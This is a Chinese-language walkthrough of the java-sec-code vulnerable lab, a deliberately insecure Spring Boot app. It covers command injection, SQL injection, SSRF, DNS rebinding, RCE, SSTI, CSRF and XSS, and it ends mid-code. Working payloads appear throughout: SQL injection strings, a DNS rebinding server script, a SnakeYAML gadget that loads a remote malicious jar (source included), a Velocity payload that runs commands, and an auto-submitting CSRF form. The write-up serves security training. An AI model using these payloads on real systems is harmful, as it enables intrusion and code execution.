# java-sec-code 靶场复现:
搭建:这是有个 springboot 项目,直接打开这个项目运行即可
记得配置配置文件 application.properties 这个文件的 jdbc 的账号和密码记得换成自己的账号密码
在配置文件周围有个 create_db.sql
记得先创建这个库,再是运行里面的内容
再是登录就是下面的页面
# Cmdinject
# /codeinject
接下来就是复现这个漏洞了,审计源代码:
@GetMapping("/codeinject") | |
public String codeInject(String filepath) throws IOException { | |
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; | |
ProcessBuilder builder = new ProcessBuilder(cmdList); | |
builder.redirectErrorStream(true); | |
Process process = builder.start(); | |
return WebUtils.convertStreamToString(process.getInputStream()); | |
} |
这个是相关的代码:至于怎么知道的就是找这个路由是 / 从的 inject,源代码全局搜索就好了
里面有个类看一下构造函数:
可以发现他将我们的命令加入到 this.command 里面来了(是按 arraylist 储存起来),
执行了 redirectErrorStream 这个函数,看一下他的含义
public ProcessBuilder redirectErrorStream(boolean redirectErrorStream) { | |
this.redirectErrorStream = redirectErrorStream; | |
return this; | |
} |
将 builder 自己的 redirectErrorStream 换成传入的参数
# start()函数详解:
# 1. 把命令参数转换为字符串数组
String[] cmdarray = command.toArray(new String[command.size()]); | |
cmdarray = cmdarray.clone(); |
- 把用户传入的命令(通常是一个 List<String>)转换成数组形式,并且克隆一份,防止外部引用被修改(安全性考虑)。
# 2. 参数检查
for (String arg : cmdarray) | |
if (arg == null) | |
throw new NullPointerException(); |
- 确保命令数组中的每个参数都不是
null
,否则抛出异常。
# 3. 获取要执行的程序名(命令第一个元素)
String prog = cmdarray[0]; |
- 取数组的第一个元素作为要执行的程序或命令。
# 4. 安全管理器检查
SecurityManager security = System.getSecurityManager(); | |
if (security != null) | |
security.checkExec(prog); |
- 如果有安全管理器,检查是否允许执行这个程序。
- 这是 Java 的安全策略部分,用于限制敏感操作。
# 5. 获取执行目录路径
String dir = directory == null ? null : directory.toString(); |
- 如果指定了工作目录,就转成字符串路径,否则为
null
。
# 6. 检查命令参数中是否含有非法的空字符
for (String s : cmdarray) { | |
if (s.indexOf('\u0000') >= 0) { | |
throw new IOException("invalid null character in command"); | |
} | |
} |
- 如果命令中包含空字符
\0
,抛出异常,这通常是非法命令参数。
# 7. 启动进程
try { | |
return ProcessImpl.start(cmdarray, | |
environment, | |
dir, | |
redirects, | |
redirectErrorStream); | |
} catch (IOException | IllegalArgumentException e) { | |
... | |
} |
- 真正调用底层的
ProcessImpl.start()
方法启动进程,传入命令参数、环境变量、工作目录、重定向设置等。 - 如果启动失败,会捕获异常。
- 异常处理和安全相关异常信息屏蔽
if ((e instanceof IOException) && security != null) { | |
try { | |
security.checkRead(prog); | |
} catch (SecurityException se) { | |
exceptionInfo = ""; | |
cause = se; | |
} | |
} | |
throw new IOException( | |
"Cannot run program \"" + prog + "\"" | |
+ (dir == null ? "" : " (in directory \"" + dir + "\")") | |
+ exceptionInfo, | |
cause); |
- 如果启动失败,尝试用安全管理器判断是否有权限读取该程序文件,如果没有权限,则隐藏具体错误信息。
- 抛出一个新的
IOException
,包含更友好的错误描述。
process.getInputStream () 函数返回一个 InputStream,用于读取子进程的标准输出(stdout)。返回的就是执行的结果
然后就是 WebUtils.convertStreamToString
public static String convertStreamToString(java.io.InputStream is) { | |
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); | |
return s.hasNext() ? s.next() : ""; | |
} |
这个函数就是将其输出出来(使用了 scanner 类来读取 InputStream 类,让 Scanner
使用 输入开头 ( \A
) 作为分隔符,这样整个流的内容会被当作一个整体读取(一次性读完整个流),s.next 返回整个输入流的字符串内容,如果流是空的返回 “”)
# /codeinject/host
差不多:只是将文件输入转成了 request 的 http 的 host 头了
但是发现用 bp 和 hackbar 都不行就离谱,只能用 curl 才能传,
作者解释:https://github.com/JoyChou93/java-sec-code/issues/78
# jsonp
解释:前端目标:从其他域名请求数据(绕过同源策略)
浏览器限制 Ajax(比如 fetch/XMLHttpRequest)不能跨与调用 API,比如:
// 这是不能跨域的 | |
fetch("http://api.othersite.com/user") // ❌ 被浏览器拦截 |
・意思就是前端定义一手函数,包含怎么处理数据什么的,然后通过 script 标签回调一个函数,这样后端就会知道这个是 JSONP 数据,需要返回一个函数一个的数据,然后跟我前端定义的函数结构是一样的,前端就可以接受数据进行处理就行了
自动添加为 JSONP 代码:
@ControllerAdvice | |
public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { | |
public JSONPAdvice() { | |
super("callback", "cback"); //callback 的参数名,可以为多个 | |
} | |
} |
在 java-sec-code 里面是
public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { | |
private final String[] callbacks; | |
private final Logger logger= LoggerFactory.getLogger(this.getClass()); | |
// method of using @Value in constructor | |
public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { | |
super(callbacks); // Can set multiple paramNames | |
this.callbacks = callbacks; | |
} |
可以通过 AbstractJsonpResponseBodyAdvice 这个关键字寻找,得先找到 callback 的参数名字才行,就是 ${joychou.security.jsonp.callback} 这个
拿到这个函数,然后就是有个 security 的绕过,要求 referer 必要时 Joychou.org 并且得是 http/https 开头的,用
Referer: https://joychou.org
绕过
其他的感觉太老了,没必要深究,了解其原理就好了
# 文件上传:
目前这类漏洞在 spring 里非常少,原因有两点:
- 大多数公司上传的文件都会到 cdn
- spring 的 jsp 文件必须在 web-inf 目录下才能执行
除非,可以上传 war 包到 tomcat 的 webapps 目录。所以就不 YY 写漏洞了。
访问 http://localhost:8080/file/
进行文件上传,上传成功后,再访问 http://localhost:8080/image/上传的文件名
可访问上传后的文件。
# 目录穿越
@GetMapping("/path_traversal/sec") | |
public String getImageSec(String filepath) throws IOException { | |
if (SecurityUtil.pathFilter(filepath) == null) { | |
logger.info("Illegal file path: " + filepath); | |
return "Bad boy. Illegal file path."; | |
} | |
return getImgBase64(filepath); | |
} |
给了 filepath 文件地址,直接../ 加文件地址就有了
# SQL 注入
# raw sql
// 手拼 raw sql | |
Statement statement = con.createStatement(); | |
String sql = "select * from users where username = '" + username + "'"; | |
ResultSet rs = statement.executeQuery(sql); | |
/sqli/jdbc/vuln?username=joychou' or 1=1%23 |
还可以联合注入继续 SQL 注入:
0' or 1=1 union select 1,database(),3 '
# Incorrect prepareStatement
// PreparedStatement 是 java 原生的 sql 预编译函数 | |
// 这里应该用?表示预编译的字符串 | |
String sql = "select * from users where username = '" + username + "'"; | |
PreparedStatement st = con.prepareStatement(sql); | |
ResultSet rs = st.executeQuery(); | |
/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a'%23 |
# Incorrect mybatis
// 用 ${} 不会预编译,应该用 #{} | |
// SQLI.java | |
@GetMapping("/mybatis/vuln01") | |
public List<User> mybatisVuln01(@RequestParam("username") String username) { | |
return userMapper.findByUserNameVuln01(username); | |
} | |
// UserMapper.java | |
@Select("select * from users where username = '${username}'") | |
List<User> findByUserNameVuln01(@Param("username") String username); | |
/sqli/mybatis/vuln01?username=joychou' or '1'='1'%23 | |
// 应该用 #{} | |
// SQLI.java | |
@GetMapping("/mybatis/vuln02") | |
public List<User> mybatisVuln02(@RequestParam("username") String username) { | |
return userMapper.findByUserNameVuln02(username); | |
} | |
// UserMapper.java | |
List<User> findByUserNameVuln02(String username); | |
// UserMapper.xml | |
<select id="findByUserNameVuln02" parameterType="String" resultMap="User"> | |
select * from users where username like '%${_parameter}%' | |
</select> | |
/sqli/mybatis/vuln02?username=joychou' or '1'='1'%23 | |
// SQLI.java | |
@GetMapping("/mybatis/orderby/vuln03") | |
public List<User> mybatisVuln03(@RequestParam("sort") String sort) { | |
return userMapper.findByUserNameVuln03(sort); | |
} | |
// UserMapper.java | |
List<User> findByUserNameVuln03(@Param("order") String order); | |
// UserMapper.xml | |
<select id="findByUserNameVuln03" parameterType="String" resultMap="User"> | |
select * from users | |
<if test="order != null"> | |
order by ${order} asc | |
</if> | |
</select> | |
/sqli/mybatis/orderby/vuln03?sort=id desc-- |
修复方案:
正确使用 orm
框架,预编译传入的参数。
# 防护方案:
(1)预编译
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
复制代码12
(2)waf
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
public static String sqlFilter(String sql) {
if (!FILTER_PATTERN.matcher(sql).matches()) {
return null;
}
return sql;
java复制代码123456
(3)MyBatis 防护
@Select("select * from users where username = #{username}")
# ssrf
# 1. 路由 /ssrf/urlConnection/vuln
漏洞代码:
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
再来看函数 UrlConnection
的定义:
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
这里我们可以用文件读取协议 file:/
实现访问,也可以访问到内网的其他主机
# 2. 路由 /ssrf/HttpURLConnection/vuln
漏洞代码:
@GetMapping("/HttpURLConnection/vuln")
public String httpURLConnectionVuln(@RequestParam String url) {
return HttpUtils.HttpURLConnection(url);
}
来看函数 HttpUrlConnection
定义:
public static String HttpURLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection conn = (HttpURLConnection) urlConnection;
// conn.setInstanceFollowRedirects(false);
// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
InputStream is = conn.getInputStream(); // send request
BufferedReader in = new BufferedReader(new InputStreamReader(is));
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (IOException e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
这里用 HttpURLConnection
类进行了一个强转,限制只能使用 http/https 协议,但可以访问内网其他主机:
# 3. 路由 /ssrf/openStream
@GetMapping("/openStream")
public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
URL u = new URL(url);
int length;
byte[] bytes = new byte[1024];
inputStream = u.openStream(); // send request
outputStream = response.getOutputStream();
while ((length = inputStream.read(bytes)) > 0) {
outputStream.write(bytes, 0, length);
}
} catch (Exception e) {
logger.error(e.toString());
} finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
}
}
可以通过这个路由实现任意文件下载:
# 4. 路由 /ssrf/HttpSyncClients/vuln
漏洞代码:
@GetMapping("/HttpSyncClients/vuln")
public String HttpSyncClients(@RequestParam("url") String url) {
return HttpUtils.HttpAsyncClients(url);
}
HttpAsyncClients
函数:
public static String HttpAsyncClients(String url) {
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
final HttpGet request = new HttpGet(url);
Future<HttpResponse> future = httpclient.execute(request, null);
HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
return EntityUtils.toString(response.getEntity());
} catch (Exception e) {
return e.getMessage();
} finally {
try {
httpclient.close();
} catch (Exception e) {
logger.error(e.getMessage());
}
}
}
未对 SSRF 进行检查,存在漏洞:
# 5. 路由 /ssrf/restTemplate/vuln1
漏洞代码:
@GetMapping("/restTemplate/vuln1") | |
public String RestTemplateUrlBanRedirects(String url){ | |
HttpHeaders headers = new HttpHeaders(); | |
headers.setContentType(MediaType.APPLICATION_JSON_UTF8); | |
return httpService.RequestHttpBanRedirects(url, headers); | |
} |
这段代码使用 Spring RestTemplate 来进行 HTTP 请求,并禁止了重定向,但不影响直接访问:
# 6. 路由 /ssrf/restTemplate/vuln2
漏洞代码:
@GetMapping("/restTemplate/vuln2")
public String RestTemplateUrl(String url){
HttpHeaders headers = new HttpHeaders();
headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
return httpService.RequestHttp(url, headers);
}
这个不禁止重定向了,直接就可以 SSRF
# 7. 路由 /ssrf/hutool/vuln
漏洞代码:
@GetMapping("/hutool/vuln")
public String hutoolHttp(String url){
return HttpUtil.get(url);
}
换汤不换药,该库也能 SSRF, 不过禁止了重定向:
# 8. 路由 /ssrf/dnsrebind/vuln
漏洞代码:
@GetMapping("/dnsrebind/vuln")
public String DnsRebind(String url) {
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
return "Dangerous url";
}
return HttpUtil.get(url);
}
checkSSRFWithoutRedirect
函数:
/**
* 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
* 存在问题:
* 1、TTL为0会被绕过
* 2、使用重定向可绕过
*
* @param url The url that needs to check.
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFWithoutRedirect(String url) {
if(url == null) {
return false;
}
return !SSRFChecker.isInternalIpByUrl(url);
}
isInternalIpByUrl
函数:
public static boolean isInternalIpByUrl(String url) {
String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
}
String ip = host2ip(host);
if (ip.equals("")) {
return true; // 如果域名转换为IP异常,则认为是非法URL
}
return isInternalIp(ip);
}
添加了 IP 检查,修改一下 dns 解析即可绕过,方法如下:
给本地的 hosts 文件添加一条解析记录:
192.168.1.43 www.baidu.com
然后就可以实现 ssrf:
# DNS 重绑定
# dns:
DNS (Domain Name Service)、计算机域名服务器,是互联网的一项服务。它作为将域名和 IP 地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS 使用 TCP 和 UDP 端口 53 [1]。当前,对于每一级域名长度的限制是 63 个字符,域名总长度则不能超过 253 个字符。开始时,域名的字符仅限于 ASCII 字符的一个子集。2008 年,ICANN 通过一项决议,允许使用其它语言作为互联网顶级域名的字符。使用基于 Punycode 码的 IDNA 系统,可以将 Unicode 字符串映射为有效的 DNS 字符集。因此,诸如 “XXX. 中国”、“XXX. 美国” 的域名可以在地址栏直接输入并访问,而不需要安装插件。但是,由于英语的广泛使用,使用其他语言字符作为域名会产生多种问题,例如难以输入,难以在国际推广等。
小概念简单地说,DNS 的存在就是为了域名解析,DNS 绑定的效果就是在 DNS 中将域名请求解析为相应的服务器 IP 地址请求,好处就是人们访问服务器的时候,不需要背枯燥的 32 位 IPv4 的地址,而是可以大众化的单词,相当有含义和方便。
域名解析就是可以通过这个域名直接找到他的 IP 地址
# DNS 的记录类型
-
- 主机记录(A记录):A记录是用于名称解析的重要记录,它将特定的主机名映射到对应的主机IP上 - 别名记录(CNAME记录):CNAME记录用于将某个别名指向到某个A记录上,这就就不需要再为某个新名字创建一条新纪录。 - 名称服务器记录(NS):委托DNS区域使用已提供的权威域名服务器,用来指定该域名由那个DNS服务器来解析,后面谈一下DNSLog的开发思路会涉及这个。
# DNS 绑定技术:
1.DNS 区域是一个层次结构的空间,根域名服务器 -》子域名服务器 -》二代子域名服务器
2.DNS 查询方式:递归和迭代
递归一般是指
以查询 zh.wikipedia.org 为例: 客户端发送查询报文"query zh.wikipedia.org"至DNS服务器,DNS服务器首先检查自身缓存,如果存在记录则直接返回结果。 如果记录老化或不存在,则: DNS服务器向根域名服务器发送查询报文"query zh.wikipedia.org",根域名服务器返回顶级域 .org 的权威域名服务器地址。 DNS服务器向 .org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到二级域 .wikipedia.org 的权威域名服务器地址。 DNS服务器向 .wikipedia.org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到主机 zh 的A记录,存入自身缓存并返回给客户端。
这里我们 需要注意的是,DNS 的返回结果是可以由 DNS 服务器自己来决定的
所以说我可以编写一个 DNS 服务器来控制指定域名的解析 IP,而且可以控制 TTL 值
请求域名解析(第一种路径)
(1),浏览器发起的请求
1. 浏览器搜索自身的 DNS 缓存,命中则解析,否则继续下一步
查看 google 浏览器的缓存记录
[chrome://net-internals/#dns](chrome://net-internals/#dns)
2. 浏览器搜索操作系统自身的 DNS 缓存,如果找到且没有国企(TTL 值),则解析结束,否则下一步(这一步很重要,TTL 值在这里其决定是否下一步)
3. 尝试读取 hosts 文件,假设不找到,继续下一步
4. 浏览器发起 DNS 系统调用,迭代过程如下:
运营商 DNS--> 根域名服务器 --> 顶级域名服务器 --> 我们设置 NS 域名服务器。(我们可以递归向下设置 TTL 的值)
5. 找到 IP 地址,简历对应的 TCP 连接,开始通信。
SSRF 发起的请求,curl 发起的请求跟前面相比就少了第一步的查询过程
# DNS 重绑定:
概念:当我们发起域名解析请求的时候,第一次方法会返回以恶个 IP 地址 A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于 A 的 IP 地址 B
比如直接
curl www.ak47.com 获取的解析ip为60.221.158.45,将其认定为外网ip,给与通行,但是程序为了考虑一些cdn的因素,第二次请求判断的时候不会去第一个解析结果的ip
那么第二次照样是curl www.ak47.com 这个时候我们可以在这个短暂的第一次和第二次的间隔里面控制第二次的解析ip为127.0.0.1(可以自己设置),从而实现访问内网的应用,实现重绑定攻击。
脚本(本地搭建):
# rebind_dns.py | |
from dnslib.server import DNSServer, BaseResolver | |
from dnslib import DNSRecord, QTYPE, RR, A, DNSHeader | |
import time | |
# 域名记录访问时间 | |
visit_log = {} | |
# 域名配置 | |
RECORD_DOMAIN = "rebind.test." # 注意末尾要有点 | |
IP1 = "1.2.3.4" # 第一次返回的攻击者站点 IP | |
IP2 = "127.0.0.1" # 后续返回目标服务 IP(如 localhost) | |
TTL = 1 # TTL 设置为 1 秒 | |
SWITCH_DELAY = 10 # 多少秒后进行切换 | |
class RebindResolver(BaseResolver): | |
def resolve(self, request, handler): | |
qname = str(request.q.qname) | |
now = time.time() | |
if qname.endswith(RECORD_DOMAIN): | |
if qname not in visit_log: | |
visit_log[qname] = now | |
elapsed = now - visit_log[qname] | |
ip = IP1 if elapsed < SWITCH_DELAY else IP2 | |
print(f"[+] Responding {qname} with {ip}") | |
reply = request.reply() | |
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=TTL)) | |
return reply | |
else: | |
return request.reply() | |
# 启动服务 | |
if __name__ == '__main__': | |
resolver = RebindResolver() | |
server = DNSServer(resolver, port=5353, address='0.0.0.0', tcp=False) | |
print("[*] DNS server running at UDP :5353 ...") | |
server.start() |
启动:
sudo python3 1.py |
测试:
模拟请求: | |
dig @127.0.0.1 -p 5353 rebind.test(1.2.3.4) | |
过十秒---》 | |
dig @127.0.0.1 -p 5353 rebind.test(127.0.0.1) | |
dig @127.0.0.1 -p 5353 rebind.test(127.0.0.1) |
第一次:
第二三次:
# 防御思路
局限性:
-
时间窗口问题
DNS 缓存的问题。即使我们在前面实现的时候设置了 TTL 为 0,但是有些公共 DNS 服务器,比如 114.114.114.114 还是会把记录进行缓存,完全不按照标准协议来,遇到这种情况是无解的。但是 8.8.8.8 是严格按照 DNS 协议去管理缓存的,如果设置 TTL 为 0,则不会进行缓存。
-
DNS 缓存机制
Linux dns 默认不缓存,windows and mac, 为了加快 http 访问速度,系统会进行 DNS 缓存
-
应用环境问题
(1) java 默认失败
Java 应用的默认 TTL 为 10s,这个默认配置会导致 DNS Rebinding 绕过失败
测试的时候可以修改配置:
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
(2) PHP 默认 TTL 为 0, 可以攻击
其实这个漏洞局限性还是很大的,但是如果能确认发起 DNS 请求,针对性大量请求还是能提高命中的概率。
那么这种攻击有什么办法解决呢?
小弟就来丢一个完美的解决的方案?
原理:
通过控制 2 次的 DNS 查询请求的间隔低于 TTL 值,确保两次查询的结果一致。
技术实现:
所以代码写一个请求判断,Linux 系统修改默认的 TTL 值为 10, 即可很轻松解决这个问题。
# rce
# 1. 路由 /rce/runtime/exec
@GetMapping("/runtime/exec") | |
public String CommandExec(String cmd) { | |
Runtime run = Runtime.getRuntime(); | |
StringBuilder sb = new StringBuilder(); | |
try { | |
Process p = run.exec(cmd); | |
BufferedInputStream in = new BufferedInputStream(p.getInputStream()); | |
BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); | |
String tmpStr; | |
while ((tmpStr = inBr.readLine()) != null) { | |
sb.append(tmpStr); | |
} | |
if (p.waitFor() != 0) { | |
if (p.exitValue() == 1) | |
return "Command exec failed!!"; | |
} | |
inBr.close(); | |
in.close(); | |
} catch (Exception e) { | |
return e.toString(); | |
} | |
return sb.toString(); | |
} |
payload:cmd=whoami
# 2. 路由 /rce/processBuilder
@GetMapping("/ProcessBuilder") | |
public String processBuilder(String cmd) { | |
StringBuilder sb = new StringBuilder(); | |
try { | |
String[] arrCmd = {"/bin/sh", "-c", cmd}; | |
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); | |
Process p = processBuilder.start(); | |
BufferedInputStream in = new BufferedInputStream(p.getInputStream()); | |
BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); | |
String tmpStr; | |
while ((tmpStr = inBr.readLine()) != null) { | |
sb.append(tmpStr); | |
} | |
} catch (Exception e) { | |
return e.toString(); | |
} | |
return sb.toString(); | |
} |
cmd=whoami
# 3. 路由 /rce/jscmd
js 文件:
try { | |
// 导入 Java 的 Runtime 和 Scanner 类 | |
var Runtime = Java.type("java.lang.Runtime"); | |
var Scanner = Java.type("java.util.Scanner"); | |
// 要执行的命令,这里用 whoami 方便查看当前用户 | |
var cmd = ["cat","/flag"]; // 可以通过这样的方式 cat /flag// 不能直接在一个字符串中,得隔开 | |
// 执行命令 | |
var proc = Runtime.getRuntime().exec(cmd); | |
// 等待命令执行完成 | |
proc.waitFor(); | |
// 读取命令的标准输出流 | |
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A"); | |
var output = s.hasNext() ? s.next() : "no output"; | |
// 打印结果到服务器控制台(Nashorn 的 print) | |
print("Command output: " + output); | |
} catch (e) { | |
// 出现异常时打印错误信息 | |
print("Error executing command: " + e); | |
} |
@GetMapping("/jscmd") | |
public void jsEngine(String jsurl) throws Exception{ | |
// js nashorn javascript ecmascript | |
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); | |
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); | |
String cmd = String.format("load(\"%s\")", jsurl); | |
engine.eval(cmd, bindings); | |
} |
# ![image-20250710111939201]()
也是可以了
# 4. 路由 /rce/vuln/yarm
源码代码:
@GetMapping("/vuln/yarm") | |
public void yarm(String content) { | |
Yaml y = new Yaml(); | |
// | |
y.load(content); | |
} |
该代码利用 SnakeYAML 存在的反序列化漏洞来 rce,在解析恶意 yml 内容时会完成指定的动作,实现命令执行。我们所加载的 yaml 文件如下:
!!javax.script.ScriptEngineManager [ | |
!!java.net.URLClassLoader [[ | |
!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"] | |
]] | |
] |
jar 是我们远程加载的恶意文件,其源码如下:
package artsploit; | |
import javax.script.ScriptEngine; | |
import javax.script.ScriptEngineFactory; | |
import java.io.IOException; | |
import java.util.List; | |
public class AwesomeScriptEngineFactory implements ScriptEngineFactory { | |
public AwesomeScriptEngineFactory() { | |
try { | |
Runtime.getRuntime().exec("whoami"); | |
Runtime.getRuntime().exec("calc.exe"); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
@Override | |
public String getEngineName() { | |
return null; | |
} | |
@Override | |
public String getEngineVersion() { | |
return null; | |
} | |
@Override | |
public List<String> getExtensions() { | |
return null; | |
} | |
@Override | |
public List<String> getMimeTypes() { | |
return null; | |
} | |
@Override | |
public List<String> getNames() { | |
return null; | |
} | |
@Override | |
public String getLanguageName() { | |
return null; | |
} | |
@Override | |
public String getLanguageVersion() { | |
return null; | |
} | |
@Override | |
public Object getParameter(String key) { | |
return null; | |
} | |
@Override | |
public String getMethodCallSyntax(String obj, String m, String... args) { | |
return null; | |
} | |
@Override | |
public String getOutputStatement(String toDisplay) { | |
return null; | |
} | |
@Override | |
public String getProgram(String... statements) { | |
return null; | |
} | |
@Override | |
public ScriptEngine getScriptEngine() { | |
return null; | |
} | |
} |
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
漏洞验证:
还是得开着 mysql 才能出来(被坑了)
漏洞修复:
Yaml y = new Yaml(new SafeConstructor); |
# 5. 路由 /rce/groovy
@GetMapping("groovy") | |
public void groovyshell(String content) { | |
GroovyShell groovyShell = new GroovyShell(); | |
groovyShell.evaluate(content); | |
} |
漏洞利用:
# SSTI
漏洞代码:
@GetMapping("/velocity") | |
public void velocity(String template) { | |
Velocity.init(); | |
VelocityContext context = new VelocityContext(); | |
context.put("author", "Elliot A."); | |
context.put("address", "217 E Broadway"); | |
context.put("phone", "555-1337"); | |
StringWriter swOut = new StringWriter(); | |
Velocity.evaluate(context, swOut, "test", template); | |
} |
Apache Velocity 是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML 或任何其他形式得 ASCII 文本),它得设计目标是提供一种简单得方式来讲模板和上下文数据结合在一起,因此被广泛应用于各种 java 应用程序中包括 web 应用。具体得 Apache Velovity 引擎得应用 可以看这篇博客。
# Velocity.evaluate
velocity.evalueate 是 Velocity 引擎中的一个方法,用于处理字符串模板的评估,Velocity 是一个基于 java 的模板引擎,广泛应用于 WEB 开发和其他需要动态内容生成的场合,Velocity.evaluate 方法的主要作用是将给定的模板字符串于上下文对象结合并生成最终的输出结果,这个方法通常用于在运行是动态创建内容,
方法如下所示:
public static void evaluate(Context context, Writer writer, String templateName, String template) |
参数说明:
Context context:提供模板所需的数据上下文,可以包含多个键值对
Writer writer:输出流,用于写入生成的内容
String templateName:模板的名称,通常用于调试信息中
String template:要评估的模板字符串
可以构造以下代码:
http://127.0.0.1:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc.exe%22)
# CSRF
# 1. 路由 /csrf/post
漏洞源码:
@Controller | |
@RequestMapping("/csrf") | |
public class CSRF { | |
@GetMapping("/") | |
public String index() { | |
return "form"; | |
} | |
@PostMapping("/post") | |
@ResponseBody | |
public String post() { | |
return "CSRF passed."; | |
} | |
} |
对应前端代码:
<html xmlns:th="http://www.thymeleaf.org" lang="en"> | |
<head> | |
<script th:src="@{https://code.jquery.com/jquery-3.4.1.min.js}"></script> | |
</head> | |
<body> | |
<div> | |
<!-- th:action with Spring 3.2+ and Thymeleaf 2.1+ can automatically force Thymeleaf to include the CSRF token as a hidden field --> | |
<!-- <form name="f" th:action="@{/csrf/post}" method="post"> --> | |
<form name="f" action="/csrf/post" method="post"> | |
<input type="text" name="input" /> | |
<input type="submit" value="Submit" /> | |
<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" /> | |
</form> | |
</div> | |
</body> | |
</html> |
该代码由于 /csrf/post 没有进行 token 的验证,可以直接访问,直接 poc 漏洞验证就好了:
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>CSRF Exploit</title> | |
</head> | |
<body> | |
<h1>Simulating CSRF Attack</h1> | |
<form id="csrfForm" action="http://127.0.0.1:8080/csrf/post" method="POST"> | |
<input type="hidden" name="message" value="This is a CSRF attack message"> | |
</form> | |
<script> | |
// 自动提交表单,执行攻击 | |
document.getElementById('csrfForm').submit(); | |
</script> | |
</body> | |
</html> |
# csrf 防护:
# 使用 CSRF Token:
- 服务器生成一个唯一的 CSRF Token 并将其发送给用户(通常通过隐藏字段、URL 参数或 HTTP 头)。
- 在提交表单或发起请求时,客户端将该 Token 一同发送回服务器,服务器验证 Token 的有效性以防止伪造请求。
# SameSite Cookie 属性:
- 设置 Cookie 的
SameSite
属性为Strict
或Lax
,限制第三方网站通过跨站点方式发送 Cookie。 Strict
:禁止任何跨站请求携带 Cookie。Lax
:允许一些安全的跨站请求(例如 GET 请求),但阻止 POST 等敏感操作。
# 双重 Cookie 验证:
- 服务器发送一个 Cookie 给用户,客户端在请求时会自动携带该 Cookie。
- 客户端还需要在表单中携带相同的值(通过 JS 从 Cookie 中提取),服务器检查这两个值是否匹配。
# 检查 Referer 头:
- 服务器通过验证请求头中的
Referer
字段是否来自合法的域名,来确定请求是否来自可信来源。 - 这种方法并不完全可靠,因为有些环境下
Referer
头可能会被修改或省略。
# CAPTCHA:
- 使用 CAPTCHA 来确保请求是由真实用户而非自动化脚本发起,虽然这种方式不能完全防护 CSRF,但能增加攻击难度。
限制请求来源:
- 对敏感操作(如资金转移、修改账户信息等)设置请求来源的严格验证,确保这些操作只能通过特定的合法来源进行。
# XSS
# 1. 路由 /xss/reflext:
源码:
@RequestMapping("/reflect") | |
@ResponseBody | |
public static String reflect(String xss) { | |
return xss; | |
} |
秒了,直接返回到页面直接 script 标签了
# 2. 路由 /xss/stored
// 先存储在 cookie 中 | |
@RequestMapping("/stored/store") | |
@ResponseBody | |
public String store(String xss, HttpServletResponse response) { | |
Cookie cookie = new Cookie("xss", xss); | |
response.addCookie(cookie); | |
return "Set param into cookie"; | |
} | |
// 将 cookie 中的路由展示出来 | |
@RequestMapping("/stored/show") | |
@ResponseBody | |
public String show(@CookieValue("xss") String xss) { | |
return xss; | |
} |
# XSS 攻击防护:
@RequestMapping("/safe") | |
@ResponseBody | |
public static String safe(String xss) { | |
return encode(xss); | |
} | |
private static String encode(String origin) { | |
origin = StringUtils.replace(origin, "&", "&"); | |
origin = StringUtils.replace(origin, "<", "<"); | |
origin = StringUtils.replace(origin, ">", ">"); | |
origin = StringUtils.replace(origin, "\"", """); | |
